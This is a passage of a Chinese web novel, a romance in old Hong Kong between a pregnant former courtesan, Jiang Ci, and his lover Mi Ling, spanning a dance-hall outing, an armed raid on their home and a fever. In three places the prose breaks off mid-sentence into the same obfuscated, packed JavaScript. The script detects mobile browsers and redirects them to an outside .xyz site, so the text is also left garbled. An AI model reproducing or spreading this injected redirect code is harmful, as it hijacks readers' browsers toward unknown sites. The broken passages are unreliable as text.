姜瓷默默站在他身边,垂着头,斜着眼睛觑他今日拿的手杖,上面的花纹是一条暗绿色的蛇,从底部一直蜿蜒攀到握把,那蛇细小的脑袋正横在他虎口之间,仿佛是从手底下钻出来一样,两只狭长的眼睛里嵌了绿宝石,在夜幕下幽幽发亮。 其余人已经陆续走进舞厅里,英嬅在门口朝他们挥挥手,喊了姜瓷一声。 姜瓷应道:“姐姐,我们还是不——” 话未说完,糜岭牵着他的手轻轻一拽,已经带着他往英嬅那儿去了。 进了舞厅,他们坐在角落一张小桌上,吊扇吹出的风掀不到这儿,着实有些闷热。姜瓷倒了一杯酸梅汁,想喝,临了还是先递给糜岭。糜岭懒洋洋瞥一眼,把视线投向舞池,说:“你什么时候见我喝过这种东西。” 姜瓷知道他心情不好,“故地重游”,牵出来的全是痛苦的回忆,想摆笑脸也摆不出来的。他默默拿回杯子,啜饮两口,头一回觉得酸梅汁这样酸,酸得倒牙,便也没再喝,细声问:“那你喜欢喝什么吗?” “我们相处这么久,你不知道我喜欢喝什么?” 一句话噎得他心口愈发窒闷,抿了抿唇,犹疑地说:“刚才在酒楼,你喝的……梅子酒,你喜欢甜一点的酒嘛,对不对?” 糜岭没应声。姜瓷琢磨良久,不知他到底什么意思,这时候瞥见桌上花瓶里插着的一丛晚香玉,就另寻了话题,问:“小舅舅,这是什么花?好漂亮,能不能在家里也种一些?” “回去了自己和管家说,叫他去安排。” “哦……好、好吧。” 沉默又笼罩下来,驱走了热闹的舞曲,暧昧的灯光,两人之间,只剩下晚香玉透出来的细细的甜香。姜瓷闻着一阵阵鼻酸,闭了闭眼睛,压下泪意,抹一把额角的热汗,解了西装外套的纽扣,还是再去同糜岭说话,道:“阿岭,我们坐到有吊扇的地方好不好?这里太热了。要不然,我们就回家,行么?” 糜岭冷声说:“不是成天闹着要出来玩么,出来了又要回去,谁都没你花样多,想一出是一出。” 姜瓷深深吸一口气,手掌撑在桌上掩住脸颊,突然觉得胃里翻腾,头昏得厉害,有些坐不住,正要往桌上趴,突然听到英嬅在叫他,一抬头看见她就站在桌前,来了有一会儿的样子。 她说:“小瓷,你教教我,可以么?他们跳一种快狐步,连老李都会,我跳不利索,总踩他的脚。” 姜瓷看向糜岭,远处舞池里灯的红光打过来,却反而衬得他脸色愈发青白。他疏离又冷漠地垂着眼,但讲起话终于不刺人了,轻声道:“热就把外套脱了,在这里跳一跳吧,舞池里太乱,你过去了,我看不见你。” 姜瓷便站起身,脱下外套塞进他手里,俯身捧着他脸吻了他一下,同英嬅走到一旁,像模像样地教学起来。 糜岭一瞬不瞬望着他。脱了外套,里面一件白衬衣,汗湿了,隐约透出点儿身体的轮廓来,肚子也确实大起来了,裤子掐紧了腰,显得小腹更是圆凸。他跳男步,牵着英嬅的手又搂她的腰,英嬅贴着他身体,下巴几乎垫到他肩上,不知说了什么,逗得他咯咯地笑。 糜岭垂了垂眼,拿过那杯酸梅汁添满,喊姜瓷回来喝。姜瓷没听见,还是英嬅先反应过来,做了个手势。他这才回了回头,三步并两步小跑到桌前,往糜岭怀里一扑,两臂圈紧了他脖颈,仰着头,气喘吁吁地:“我真的好热,能不能回家嘛?” 糜岭揽着他的腰抱他坐在腿上,把外套罩在他肩头,他皱着眉又要嚷热,糜岭一把扯开了他衬衣。 他愣了愣,瞥一眼崩飞落到桌子上的纽扣,很乖顺地任他把手贴在了胸口。起初还有些慌张,四下打量着,生怕被人瞧见,但禁不住糜岭的手凉飕飕的,冰块一样冰着,消了不少暑气,让他气都顺了不少。 糜岭偏头吮吻他脸颊,低声说:“和别人跳舞那么开心,叫你都不理我?” “没有,我真的没听见,”他附在糜岭耳边,忽而低低地笑起来,“你吃醋了。” 糜岭却冷笑:“何止呢,我恨不得所有碰过你的人全都——” “英嬅姐姐又不归在那些人里面。”他微微退了退身子,拂开糜岭的手,撇过了头。 糜岭便替他拢好了衣襟,重新握住手杖,他湿软的皮肤触感还留在指尖,但指腹把杖上那条蛇的两只绿眼睛抚过几遍,宝石冷冰冰的温度便取代了那缠绵的热意。 他问:“姜瓷,我看起来很可怕么?” “……什么?” “可怕到那天晚上你不敢叫我帮你?我看见那些警员在舞厅门口闹事,根本没想到他们是来抓你的。假如你跟我说,你只要开口说……” “我已经解释过了。” “你解释得不够好。” 姜瓷咬咬牙,眼睫上泛出水汽:“那时候我哪知道你是陈家的少爷呢,我以为你只是随便一个去舞厅玩的人,就算我求你帮忙,你又能做什么?你争得过周盛业争得过警局的人?你现在都争不过他不是么,又是送钱又是送传家宝,费了多少力气才让我留在你的公馆。与其我和你都被捉住,不如我一个人,也省得节外生枝,假使我逃走了,那我便回上海去,假使我逃不走,那我就被带回金园,反正牵扯不到你身上……你觉得这些没有说服力,那我……反正我当时就是那么想的,总之就是这样,就是这样……” 他反复地念几遍,又抹一下眼睛,道:“你不可怕,你很好,就是因为你很好,你比我遇见的所有男人都好,所以我不想连累你。如果我怕你,我就不会一直把你放在心上了。” “所有男人……”糜岭低低地跟着重逢。 姜瓷一口气讲那许多话,还未喘匀气息,听到他这么说,只觉得胸中一噎,脸憋得青紫,也冷下声音来,道:“我讲那么多,你就只听到这句么?就非要我说这些?” 糜岭沉默片刻:“好,我不该提。” 他低语着,一边抬眼看向姜瓷。在姜瓷眼里,那仿佛是一种审视的眼神,言语不说,便拿视线来探寻,刻薄而凌厉地,好像在问:所有男人,那么你到底有过几个男人? 是想要他给出什么样的回答?数不清了,记不住了,还是真的一个一个姓甚名谁列张清单出来?难道过往那些事情,是他自愿的么,难道他不悔恨不委屈,难道他就能够平静坦然地面对伤疤,再面不改色地揭开来叫人观赏么? 两人的误会是解开了,然而还不如没解开的时候,至少前一阵子他不必为了糜岭跛掉的腿自责,而糜岭也从来不曾因他的过往发脾气,摆冷脸,像现在一样连视线都咄咄逼人。哪里出了问题,为什么即便是肌肤相亲的距离,也像隔着鸿沟,为什么痛苦愈加深重了呢? 他沉沉叹口气,还是去握糜岭的手,糯声说:“好阿岭,我们回去吧,行么?” 糜岭不说话,安然坐着,没有要走的意思。 他禁不住哽咽起来:“你要翻旧账,好……那我也要把以前的事拿出来说。前天晚上你跟我坦白的时候,我没顾得上问你,我们在金园第一次碰面,你为什么没认出我?虽然过了五年,可我又不是毁了容,为什么你想当然以为我不是你要找的人?凭什么我莫名其妙给我自己做了替身!” 他方才跳了舞,给舞厅里湿热的空气一闷,情绪起伏,又气急起来,声音软软懒懒,两手伸过来攥着糜岭的衣襟愤怒地晃,可潮嫩的指尖有意无意拂到糜岭脖颈上,糜岭只觉得他在撒娇,热得红透的脸,更有一种羞怯怯的味道,鬓角和鼻头挂着的汗仿佛不是汗,睫毛上的泪珠子也不是泪,是雨,是雨里的一颗红石榴,烂熟透了,在树枝上挂不住,往下坠着坠着,飘出腻人的甜香。 糜岭没办法把视线从他微敞衣襟下白软的身体上移开,抬手摸了摸他的脸,终于恢复到以往温和的态度,说:“宝宝,你在金园里太久,一举一动……变了太多……我确实认不出你了……” 姜瓷愣了愣,隐隐约约知道他话里有话,可热得心里发燥,不愿细想,便只懵懵懂懂地应道:“哦,哦,这样……也对……假如妈妈还在,见到我,估计也认不出我了……” 他有点儿迷茫地看向糜岭,捂着心口,实在受不了的样子,还是哭出声来:“我真的想回家吗,回家吧小舅舅,好阿岭,我要回家……” 糜岭终于起身,也没顾得上和英嬅打声招呼,带着他出了舞厅。 外头乌云掩月,有点儿下雨的迹象,拂面的热风夹杂些许清凉的雨意。姜瓷不愿意再坐进车里给闷着,想要在雨来之前散散步,可是看着糜岭的手杖,又不忍心再让他受累,于是只倚在路灯上静静地吹风。 糜岭背靠车门,面对他,牵了他的手,默默陪他站着。 不多一会儿,乌云渐浓,彻底遮住了月亮,路灯不知出了什么故障,闪两下突然也灭了。波涛汹涌的暗色扑上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我学了这个舞,一次都没跳给别人看过的,小舅舅第一个看,”他拨弄着扇子上的粽叶,另一手轻轻搭在糜岭腿上的伤疤上,“今天我们到舞厅去,我不应该把你晾在一边陪英嬅姐姐去玩,所以现在补偿你。” 糜岭坐起身抱住他亲了亲:“没事宝宝,是舅舅太小心眼儿了。” “那我还是要跳给你看的。”他站起来走到衣柜前,一边挑衣服一边说:“这个舞叫扇子舞,要用大大的能遮住身体的羽毛扇子,家里没有,我就用粽叶做了一个。” 他朝糜岭睨一眼,轻轻笑了,又说:“阿岭,你还记不记得我跟你说过,教我跳舞的那个舞女,后来嫁了一个绸缎庄的老板?” “说这个做什么?” “因为她就是凭着扇子舞让那个老板一见倾心的。” 糜岭也笑:“是么,可是我已经对你倾心了。” 姜瓷扭扭捏捏去捋扇子上交叠的粽叶,细声道:“那你就多爱我一点儿,再多爱我一点儿……最好像外面的雨一样,一直下,下一整个季节,下一整年,来年,后年,那样的话,就算很热很热,每天都不能吃冰,我也愿意的。” 姜瓷等了一阵儿,没听到糜岭应声,有些后悔讲这番蠢话,想给自己找点儿补,却听糜岭柔声说:“当然好了,我也愿意的,姜瓷。” 他红了脸转过头去,脱下睡袍来,竟不穿衣服,就那样把那把扇子遮在了身前,转过身,慢吞吞往糜岭那儿踱步。粽叶太长,尾端坠下来,仿佛要带着整把扇子往下掉。他有些握不住,两手颤一颤,粽叶跟着刷啦啦响,鲜亮热辣的绿色飞得满屋子都是,潮乎乎把什么都染绿了。 等他轻轻哼着舞曲的调子转起圈来的时候,那把扇子也始终被他掩在胸前,可到底不是衣服能遮严实,从粽叶的罅隙里,能睨见他白软的皮肤,他圆润的肩膀溢到叶片外头,嫩软的一抹,挂在绿树梢头一线月牙似的,当他扭腰,能看到后背几条凉席印子,腿根旁一点儿痱子粉的白白的痕迹。 最后他轻轻跳了几下,停在糜岭跟前,做了个像模像样的谢幕姿势,终于把扇子一敞,转个圈,笑道:“好不好看?” 糜岭眼睛血红,迷迷瞪瞪望着他,哑声说:“好看。”抚上他的腰,揉捏几下就放了手:“好了,睡觉吧宝宝。” 姜瓷搂着他倒回床上,说:“你讲个故事给我听好不好?” “好好,讲个西洋故事吧。很久很久以前……” 44. 44 红烛昏罗帐 有好几天,即便姜瓷犯了懒想待在家里休息,糜岭也不准许,硬是去哪儿都带着他,连不常去的九龙的那间珠宝店也知道了他这一号人物。糜岭去九龙收钱款,店里的伙计都对着姜瓷叫“夫人”。 有一次糜岭应邀到醉生楼去吃饭,也把他领在身边。在包厢等了许久,有服务生来报,说汤姆生先生因为下雨而被困在了路上,还要再晚一些才能到。 那一日姜瓷不知怎么异常困倦,坐在椅子上眼睛都睁不开,隐约听到“汤姆生”这个名字,也没有费心去问是谁。糜岭叫服务生架了张屏风,让他躺在屏风后的藤椅上睡觉。再醒过来时,他正听到糜岭在说:“我夫人也喜欢吃这道菜。” 一道粗哑的中年男声应道:“那还真难得,那么再叫服务生来,多点几份,打包带回去给你夫人尝尝。” 他粤语说得不流利,时不时蹦出一两个洋文词来,姜瓷猜想他大概是才来香港的外国人。他又默默听他们说了会儿闲话,终于汤姆生起身告辞,说:“糜先生,那件事就拜托你了。哦,不用送我,我自己出去,账已经结过了。晚安。” 姜瓷从屏风后偷瞥,见汤姆生出了包厢才走出去。桌上七八道菜,几乎没动过。他坐下来喝了半杯水,糜岭拿过刀叉切牛排给他吃:“什么时候醒的?” “就刚刚,”他口齿不清地应着,嘴里还没嚼完又往糜岭手边凑,“我还要。” “慢点吃,一会儿噎着了。” “嗯。那个人是谁啊?拜托你什么事情?” “是新上任的港督。” “什么?” “就是管理香港的人。” “哦,那么是个大官了!” “他夫人的生辰马上要到了,请我挑一套首饰做生辰礼物。” 姜瓷点点头,一指桌上那盘粽子,糜岭便拿了一个来剥:“少吃几口,尝尝味道就行了,吃得太饱,回去了睡不着。” “什么馅儿的呀?”他咬一口,尝到半个咸蛋黄,立刻吐出来,“不要,好腥。” “嘴巴真刁。” “我以前是很喜欢吃的,但现在——” “怎么样?”糜岭去摸他肚子,“现在怎么样?” 他撇撇嘴:“现在不喜欢了。对了,那个汤姆生,他既然刚来香港,又是怎么知道你的呢?” “他去银行存钱,认识了孟老爷子,孟老爷子再介绍了我。” 姜瓷皱了皱眉,忽然紧紧握一握他的手,很敏锐地说:“你们是不是有什么计划?卿卿和周茂飞……” 糜岭看他一眼,没有说话。他也就没再问,只说:“不会有事吧?” “不会宝宝,别乱想,你顾好自己就行了。” “嗯……那么,你这次帮了他的忙,他总要还你人情,你就让他告诉周盛业别再来招惹你,他做那么大的官,肯定能管得住周盛业吧?哦,我想起来了,店里的账本拿回来了么?税收的事情呢?” “解决好了,不用小宝操心这些事,”糜岭又剥一个粽子,“吃吧,吃好了我们回去了。” 第二天早晨,六七点的光景,下起暴雨来,到处白茫茫一片,站在门廊下,连院子里的树都被雨帘遮蔽得瞧不清楚。糜岭便没有出门,陪姜瓷写字读书。到九点多,终于雨停了,浅浅出了会儿太阳,蒸得院子里笼屉似的潮热。 前几日管家买了几株晚香玉回来栽在前院里,姜瓷担心它们被雨打凋了,非闹着要出去看。糜岭好言哄着他说:“花谢了就谢了,再叫管家去买,外面那么热,出去了要中暑,再说院子里有虫,还有蛇,昨天没听管家说么,有个佣人差点被咬一口,舅舅改天叫人来撒点儿驱蛇的药,你再出去玩,好不好?” “真的有啊?这儿也有么?以前住在山上,老有蛇沿着厨房的窗户爬进来呢!” “正是端午的时候,蛇多,听话,被咬一口不是小事。” “那我要吹风扇么,要客室里那个大吊扇。” “好好,吹一会儿,再叫管家拿支冰棍给你,高兴了?” 姜瓷搂着他脖子腻腻歪歪地粘着他往客室走,经过大门口,忽然听到外面一阵吵嚷,不知怎的,眨眼的功夫,十多个持枪警察已经冲进门来,周盛业也怒气冲冲跟在后面。他瞧见姜瓷珠圆玉润的一个,养得满面红光,好好地就站在门口,更是暴跳如雷,大喝道:“抓住他!抓住他!给我绑起来带走!” 糜岭先反应过来,高喊一声管家,把姜瓷往身后推,说:“回房间去,把门锁好,别出来。” “可、可是……” “听话,快去!” 糜岭挣了挣手臂,甩开姜瓷,见管家赶到了近前,也不多话,将他往管家那儿一推,管家和几个仆人抬起他便往房间跑。 姜瓷坐在床上,还懵懵懂懂没回过神,把枕头抱在肚子前,无措惘然地盯着床头柜上糜岭的手表,侧耳听和外面的动静。 起初是嘈杂的脚步,此起彼伏的吵嚷,东西被砸碎的声音,周盛业高声吼道:“糜岭,你敢耍我!怎么着,你带着这么一个贱骨头出去招摇过市,还说什么你的夫人,真是叫人笑掉大牙!当能瞒得过我么!他是我的东西,什么时候轮到你来插手了?快把他还来,还来!” 糜岭回了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831063|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,但声音矮沉沉的,听不清楚。 姜瓷回头往门瞥一眼,瞧见门与地面的缝隙处光影晃动,像有人在来回地走,那种警察穿的短筒皮靴踏在地上啪嗒啪嗒清脆的响声,那种冰冷的枪械碰撞在一起的动静…… 他忽然后知后觉地心惊起来,满背冷汗,咬牙捱了一阵儿,站起身悄悄往门口走。 这时候又听周盛业说道:“少废话!今天不论如何我要带他走!你让开!要是不让……别怪子弹不长眼!” 姜瓷一阵腿软,踉跄几步扑到门上,刚把手搭上门把,外头却已传出枪响,接连不断的好几声,震得他耳朵发麻。他脑袋空了一瞬,僵立在原地,太阳穴被打了似的钝痛起来,心口揪着喘不上气,眼前一阵阵发黑,再站不住,瘫软在地,失去了意识。 再醒过来时天已经暗了,他咽了咽干涩的喉咙,只觉得头痛欲裂,眼睛热烫,看什么都模糊一片,肚子也隐隐有些刺痛,可现下也顾不上了,只想确认糜岭的安危,正要坐起身下床,忽然被揽住了腰,耳畔传来糜岭低沉的声音:“去哪……渴了么?” 他怔了怔,回头看去,糜岭眨着布满血丝的眼睛,活生生的。他扑到他怀里放声大哭起来。 糜岭柔声哄道:“不哭了小宝,你这阵子跟着我出门,周盛业知道你没生病,一定会来找你,舅舅怎么可能不做防备,别怕,他带不走你,你也不会回山上,上一回舅舅不是说了么,除非我死——” “不要!别说,别说!”姜瓷惊叫起来。 “好好,不说,吓着我们宝宝了,是舅舅没有准备周全……” 他仍惊魂未定,哆哆嗦嗦,语无伦次地啜泣着说:“不可以的……呜呜……我不能回金园去,我不能,不可以,金园那个地方……和死也没什么两样了……我不要……真的没办法,我没办法再过那种日子……” “小宝,不会——” “会的!他要来抓我回去了,回去之后,又要有各种各样的男人——” “姜瓷。”糜岭沉下声但依然温和地叫了他一声。 他喘着气定了定神,慢慢阖下眼帘,把脸埋进糜岭颈间呜咽起来。糜岭轻轻抚摸他的头发,无言地安抚了他一阵儿,他渐渐哭累了,止了眼泪,低一低头去看小腹,糜岭把手掌托着那儿,指尖微微拢着因鼓起来而往下垂坠的软肉。 他也把自己的手合上去,定定地望着安然枕在两人掌中的那小小肚脐眼儿,低声说:“小舅舅,我跟你说一件事好么?我怀孕了,你以前问过我会不会,我说不会……但是现在……我们的宝宝……所以我真的不能再回金园了……” 45. 45 青丝细 姜瓷被周盛业这么一吓,发起烧来。英嬅接到电话,连夜赶过来,一进卧室就看到糜岭蹲在床边,两手护着他小腹,苦口婆心地劝:“小宝,你听话,舅舅不是不带你回上海,只是还有一些事情没料理好,生意上的事,家里的事,总要交代清楚,你要我们明天一早就坐船回去,怎么赶得及?舅舅总不能甩手留个烂摊子在这儿,是不是?” 姜瓷粗喘着,一张脸烧得血红,恨恨推了推他肩膀,阴阳怪气地叫道:“是,好,当然好了,你要我听话,那我就待在这里,然后等明天,后天,总有一天,你又倏忽大意了,周盛业就会趁机来捉我,到时候我被带回金园……怀着孕又怎么样,怀着孕也不影响别的男人——” 糜岭一霎时铁青了脸,站起身用力一握他后颈,逼着他抬起头对视,冷声说:“今天让他闯进家里,确实是我的错,舅舅理解你很害怕,也很生气,你说几句不着调的话发泄发泄,没关系,可是,宝宝,有一些话不能乱说,知道么?” 姜瓷梗着脖子一脸不服输,糜岭更有些恼火,但想着暂且忍忍便罢,何必在这种时候同他吵架。可姜瓷偏还要刺他心窝子,冷哼着说:“我在山上五年,除了床上的那些事情,什么都没学会,我哪知道什么话能说,什么话不能说。” 糜岭气得头昏,但始终还是有点儿理智,道:“你不会,不要紧,说话做事和为人的规矩,我一点点慢慢教你。” 他放开了手,退到窗户边,开了条缝隙透气,外面似乎在飘雨丝,有点儿凉意的细针似的雨簌簌地顺着风往面颊上扎,一垂眼看到掌心里几根发丝,方才那样拽着,一定有些疼的……他拈起发丝往指尖缠,一圈,两圈,一边默默听着身后两人窃窃私语。 英嬅从他们的谈话里把事情猜了个七七八八,坐在床畔给姜瓷搭脉,姜瓷又把今天发生的事情说给她听了一遍。她道:“我当你早就跟他坦白了孩子的事情,结果现在才讲,真急死人,我早跟你说了,他喜欢你,知道你怀孕,高兴还来不及呢。” 姜瓷瞥一眼糜岭对窗的背影,涨红了眼睛。 她又说:“何必说那些话,说了又后悔,你有时候脾气不能这么急,现在想一想,他说得也不错,是不是呢?你害怕,你想快点儿离开这里,他又没有不同意,可是要明天一早就走,太仓促太突然,也没个准备的时间,坐船过去要半个月,你们再玩几个月,这一来一去小半年的时间,家里生意上不料理好,一定乱得不成样子。” 姜瓷垂着头沉默片刻,闷闷地应一声:“姐姐,你叫他来坐么,他腿疼不能多站的。” “你自己和他说去。”她又朗声朝糜岭道:“没什么大事,就有点儿发热,我不开药给小瓷吃了,你用冷水给他擦擦身子吧,要是明天晚上还没退烧,再打电话给我。” “我叫人送你回去。”糜岭回过头来。 “不用了,老李送我来的,他在外面等我呢。小瓷,我先回去了,有什么话好好说,别动气,把身体养好,宝宝才能好。” 姜瓷点点头,站起身送她,脚步却往糜岭那儿移。可糜岭大步流星跟上英嬅,转眼间就和她一起出了房间。 过了一会儿糜岭回来,把一盆水放在床头柜上,盆里浮着一小块冰。他要拧毛巾给姜瓷擦脸,姜瓷却先一步伸出手,掬了点儿水往脸上洒,不过瘾,要把头整个往盆里浸。 糜岭连忙拦住,正要说话,他忽然把两臂往盆里一掷,搅得水花四溅,握住盆里那块冰把玩起来。糜岭默默由着他玩了会儿水,见他手指摸冰摸得通红,才开口说:“小宝,现在太晚了,我们睡觉,睡好了明天起来再玩,好不好?” 姜瓷不应声,糜岭便俯身来看他的脸,贴着他嘴角轻轻吻了一下,他微微偏头迎上去,把湿淋淋的手臂圈住糜岭肩膀,细声说:“好,我要再大点儿的冰。” “行,再大点儿的,真乖,亲一下。” 两人接了个吻,算是和好了。糜岭绞了毛巾给他擦过身子,躺在床上抱着他,重新哄他睡觉。他打着哈欠很是困倦的样子,却迟迟不肯闭上眼睛。 糜岭便说:“别胡思乱想,睡吧。” 他咕哝:“我害怕……我怕我再睁眼你不在,我今天听到枪声的时候,还以为……家里有没有人受伤呢?” “没有,周盛业带来的一个警员开的枪,故意打在墙上,想吓唬拦在前面的几个家仆。” “哦……那后来呢?” “没有怎么样,他知道我不会放你回去,又不好真的动手,假如见了血,事情传出去对他没有好处,他本来就被停了职,到时候怕是处长都没得做了。” “那么他就回去了?” “嗯。” “他一定觉得用枪吓一吓你,你就会让我走。”他往糜岭怀里蜷了蜷身子,糜岭摸摸他的肚子,说:“不管发生什么事,我永远站在你前面,不要怕宝宝。” “你跟谁说的啊?” “跟你们两个说,都是我的宝宝。” 姜瓷浅浅笑了笑,问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831064|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你一点都不惊讶,是不是早就知道了?” “英嬅那么鬼鬼祟祟的样子,我能看不出来么?后来叫管家把药渣拿去药馆里问过,说是安胎药。”糜岭低头吻了吻他,他身上还是烫,嘴唇热软,呼吸也火炽的,一缕缕轻轻拂上来,被糜岭一同含住,仿佛一线火舌往下烧,烧到心口,阵阵地痛。 “真急人……”他轻叹一声,“舅舅总想,今天该坦白了吧,今天没有,那么该明天了,或许要选个好日子,晚上不说,要么早晨吃饭的时候说么?都没有……是我还做得不够好,今天又出这样的事……你不相信我,你害怕,所以连这么大的事都不敢告诉我……” “之前我以为你要和李小姐结婚,那么我告诉你,只会给你添麻烦,后来,我不确定……五年前的事情,我们又吵架闹别扭了么……我不知道该怎么开口……这一次,”他打起精神来,揉揉惺忪的眼睛,“这一次周盛业没能得逞,他一定很生气,会想别的办法,对了,就是周茂飞说的,他要对卿卿……然后嫁祸给你……” 他蹙起眉来,抓住糜岭衣襟,又有点儿要哭的样子,颤声说:“所以我说我们回上海么,我们应该马上就走,到上海,周盛业管不到我们,也陷害不到你头上,明天就走么,阿岭……” “宝宝,刚刚舅舅不是说了么,不是不回去,是这边还有事情没料理好,很快,最多十天我们就走,玩够了再回来,我保证。” 姜瓷还是恹恹地耷拉着眼睛,背过身去:“所以我们只是在那里待一段时间,还是要回香港住的,可是……可是上海是我的家,我想一直住在那里……” 糜岭沉默半晌,拿起扇子轻轻给他扇风:“你在哪里,我就在哪里。” “你骗人……”他呢喃一声,倦怠地闭上了眼睛。糜岭低头吻他他脸颊,柔声说:“不就是住到上海去,有什么不可以,只是这样的话,你得再给舅舅一点时间,十天……来不及,我走了,生意总得有人来管,舅舅把事情都交代好,写信叫青柏回来接手,然后我们就去上海,让张志骁给我们挑一幢大房子。” 姜瓷回头望向他,说:“真的?那最好跟这里的房子一样,不要爬楼梯的那一种。” 糜岭笑:“这么心疼我。” 他又翻身躺进糜岭怀里,手摸下去轻轻搭在他右腿上:“阿岭,明天要是我好了,我给你按摩,英嬅姐姐说,按摩能缓解腿疼的,以后我每天都给你按。” “好好,真乖,”糜岭吻了吻他,“睡吧宝宝。” 46. 46 一个字 早上醒过来,姜瓷还是有些发热。佣人端了早饭过来,他没怎么吃得下,恹恹地又躺回床上。糜岭也没心思吃饭,拧了冷毛巾敷在他额头上,还哄他睡觉。 这时候管家却来敲门,说有电话找,像是生意上出了状况。糜岭忧心姜瓷还来不及,哪里顾得上,交代没什么大事都不要来叫。可没一会儿管家又过来,说店里的几个伙计和账房已经在书房等他了。实在没办法,只好去见。 他心里有点儿火气,也急躁,走得快了些,没迈几步,手杖忽然在地上一滑甩飞了出去。他踉跄着往地上栽,本能地去抓东西,一把扯住了蚊帐,身子跟着往床上倒,手臂撞过来,被床沿蹭出长长一条红痕,手肘的地方破了皮,也无心去看,马上坐起身去瞧姜瓷,生怕他被掉下来的束帐子的银钩砸着受伤,一边道:“小宝,别怕,你来,坐起来舅舅看一下。” 姜瓷确实被吓着了,但倒不是因为帐子忽然掉下来,方才他把糜岭摔倒的情形看得一清二楚,心头还惊跳着,急得高声说:“你不能慢慢走么!本来这几天一直下雨,家里潮,地上就特别滑!再着急也得当心啊,假如磕到了头怎么办?” 糜岭受伤的手臂举过来抓住了他的手,他瞧见上面殷红的一点儿血,一阵眩晕,软了身子往糜岭怀里倒,红着眼睛,颤颤地又说:“假如你是在外面滑了一跤,倒在马路上,有车子开过来……或者在河边摔倒了,掉下去……” 糜岭去抚他的肚子,拍着他的背柔声说:“小宝说得对,是我太不小心,下次再不会了,舅舅一定长长久久地陪着你们,好么,没事的宝宝,昨天没听英嬅说么,不能动气,动了气头更要痛起来了,好了好了……” 他还是掉下泪来,紧抓着糜岭的手怔怔地看,低声说:“要是五年前我跟你说话就好了,可能就没有后面这么多事,或者我就不应该走进那家舞厅,不该认识你,那样的话,你也不会沦落到今天这样……” “小宝,别乱想,我们不是说好了,过去的事情——” “永远过不去的……”他撇过头回避糜岭的目光,起身下床,“我去拿跌打药过来,你别拦我,不管怎么样我就是要去拿药的。” 糜岭牵着他的手跟他走了几步,他去捡了手杖抱着,说:“这个先不给你,你坐着等我,擦完了药你才能走。” 他跑出去,很快回来,给糜岭擦过药,也没有了睡意,跟着糜岭一起到书房去。糜岭和几人在一边谈事情,他半躺在沙发上翻书。 中午留店里的伙计们一起吃饭。他实在困倦,坐在桌上不住地打瞌睡,糜岭便带他下桌回了房间。这会儿他又不愿意睡觉了,执意要给糜岭按摩,打了盆热水来,先用毛巾热敷着,坐在床畔和糜岭说闲话。 昨夜糜岭挂心他,隔一会儿就起来摸摸他额头,几乎没怎么合眼,今天又忙了一上午,现在躺在床上,腿上暖融融的,不知不觉间睡了过去。 姜瓷没有发觉,仍在那儿碎碎念地说:“我没有学过这个,手法肯定比不上专业的人,不然下次我们到药馆去让医生给你按吧?或者你去针灸怎么样?会不会很痛?阿岭,要不我们下午就到——” 他一回头,见糜岭已经闭上眼睛,便噤了声,俯身去看他,眼底乌黑,脸色苍白,憔悴地拧着眉。他红了眼睛,轻轻枕到他肩上,他的手臂立刻环上来拥住了他,半梦半醒的呢喃了一声“宝宝”。 跌打药酒清冽的气味直往鼻腔里钻,他咬着牙,感觉嘴巴里苦得发涩。 糜岭睡着,迷迷糊糊总好像听到姜瓷在哭,在梦里挣扎了一阵儿,终于醒过来,一瞧却发现姜瓷不在房里,当下慌了神,一边喊着他的名字一边找出去。管家听见动静,赶忙来扶他,说姜瓷到后院去了。 寻到后院,外面有点儿飘雨丝,他越发急迫,仓促地四下望一眼,只是一片青绿树丛,更是慌张了,一颗心直往下坠,正要叫管家立刻喊人出去找,眼睛那么一睨,看见了姜瓷,蹲在那一片菜圃里,周遭几根茂密的树枝子垂下来,掩住了他的身形。 不待他出声喊,姜瓷站起身,却是往菜圃深处走了走,他便跟过去瞧,原来家里的老厨师也在,坐在一张矮脚凳上,佝偻着背,拿着剪刀,像在摘菜,姜瓷呢,臂弯里捧一大把艾草,不知是雨还是草叶上的露水,浸得他身上一片湿濡,偏偏他还要弯着腰去同那厨师讲话,说着上海乡音,那种黏腻软懒的腔调,那种天然的柔媚的姿态…… 糜岭只觉心口火烧似的,冲上前去,一把拽住姜瓷胳膊往菜圃外走,冷声说:“我跟你说了多少遍,不要乱跑,不要乱跑,你全当耳旁风,非要关着你才老实,是不是!” 姜瓷被这么拉拽着,手里的艾草掉了一路,他急得挣开糜岭,跑回去捡,几乎是跪趴在地上,这一跪,几乎能清清楚楚看见他里头穿的衬裙,太短的裙摆,黏糊糊附在大腿根,更不像话了…… 他还一边不服气地叫:“我哪乱跑了,我跟管家说了我在院子里,如果你醒了,就来院子找我,而且我又不是来闲晃的,我是来——啊!” 糜岭根本不听,提溜着猫似的捏住他后颈,扯着他回屋。他踉踉跄跄跟着,护着肚子,频频回头去看那些艾草:“等等,等——我还没——” 说话的功夫,两人已经在后门口站定,下一瞬雨便哗啦啦落大了。 